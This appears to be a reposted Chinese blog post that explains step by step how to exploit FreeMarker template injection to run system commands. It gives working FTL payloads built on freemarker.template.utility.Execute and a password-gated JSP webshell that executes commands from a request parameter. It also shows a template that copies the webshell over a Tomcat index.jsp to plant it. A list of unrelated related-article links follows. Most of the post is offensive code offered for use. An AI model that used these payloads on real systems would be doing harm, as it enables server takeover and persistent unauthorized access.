FreeMarker执行系统命令

简介:

1、寻找可以上传FTL模板的漏洞点


2、尝试注入FTL模板

1
2
<#assign test="freemarker.template.utility.Execute"?new()>
${test("id")}


3、查找上传的FTL文件保存路径

1
2
<#assign test="freemarker.template.utility.Execute"?new()>
${test("find / -name *.ftl")}


4、获取WebShell

1
2
3
4
# webshell.ftl
<%if ("023".equals(request.getParameter("pwd")))
{java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1; byte[] b = new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b));}}%>
1
2
3
4
# main.ftl
<#assign test="freemarker.template.utility.Execute"?new()>
${test("cp /home/bmpapp/upc_plugin_home/export_plugin/development/user/webshell.ftl 
/home/bmpapp/tomcat/webapps/default.war/index.jsp")}


5、访问index.jsp


















本文转自fatshi51CTO博客,原文链接:http://blog.51cto.com/duallay/1936931 ,如需转载请自行联系原作者




相关文章
|
设计模式 数据可视化 Java
JD-GUI和JAD对War包和Jar包进行反编译教学
JD-GUI和JAD是两个用于反编译Java字节码的工具。代码调试:当你需要调试Java代码时,可以使用JD-GUI将Java类反编译为可读的源代码,以便进行调试和分析。代码分析:如果你需要对Java类进行深入的分析,例如了解代码结构、方法调用关系等,可以使用JD-GUI来反编译Java类,并查看反编译后的源代码。代码重构:如果你需要修改现有的Java类,可以使用JD-GUI将Java类反编译为可读的源代码,然后进行修改。注意,反编译后的源代码可能不完全与原始源代码相同,因此在进行修改时需要谨慎。
1270 1
|
Java 数据安全/隐私保护 Spring
SpringSecurity 权限管理的实现
SpringSecurity是一个权限管理框架,核心是认证和授权,前面介绍过了认证的实现和源码分析,本文重点来介绍下权限管理这块的原理。
310 0
|
前端开发 安全 API
跨域请求的常见场景有哪些?
了解这些常见的跨域请求场景,有助于我们更好地理解和处理跨域问题,通过合理的技术手段和配置来实现跨域资源的安全访问和交互。
544 64
|
运维 监控 大数据
运维之道:从新手到高手的蜕变之路
【10月更文挑战第17天】 本文以“运维之道”为主题,探讨了运维工程师从新手到高手的成长历程。文章通过生动的案例和实用的技巧,引导读者理解运维工作的本质、内涵和意义,以及如何在实践中不断提升自己的技能和能力。同时,文章也强调了持续学习和自我提升的重要性,鼓励读者在运维领域不断探索和创新。
435 8
|
安全 网络安全 数据安全/隐私保护
CTF竞赛:一场网络安全技术的盛宴
CTF竞赛:一场网络安全技术的盛宴
635 0
|
JSON 安全 Java
Elasticsearch 语法指南(全)
Elasticsearch 语法指南(全)
|
监控 Java API
Java的日志框架
Java的日志框架
219 2
|
安全 Java API
Java审计之Freemarker模板注入漏洞
Java审计之Freemarker模板注入漏洞
12190 1
|
SQL 安全 数据库
用友畅捷CRM存在SQL注入漏洞
用友畅捷CRM存在SQL注入漏洞,攻击者可通过使用工具获取数据库相关敏感信息,拿到服务器控制权限。
462 1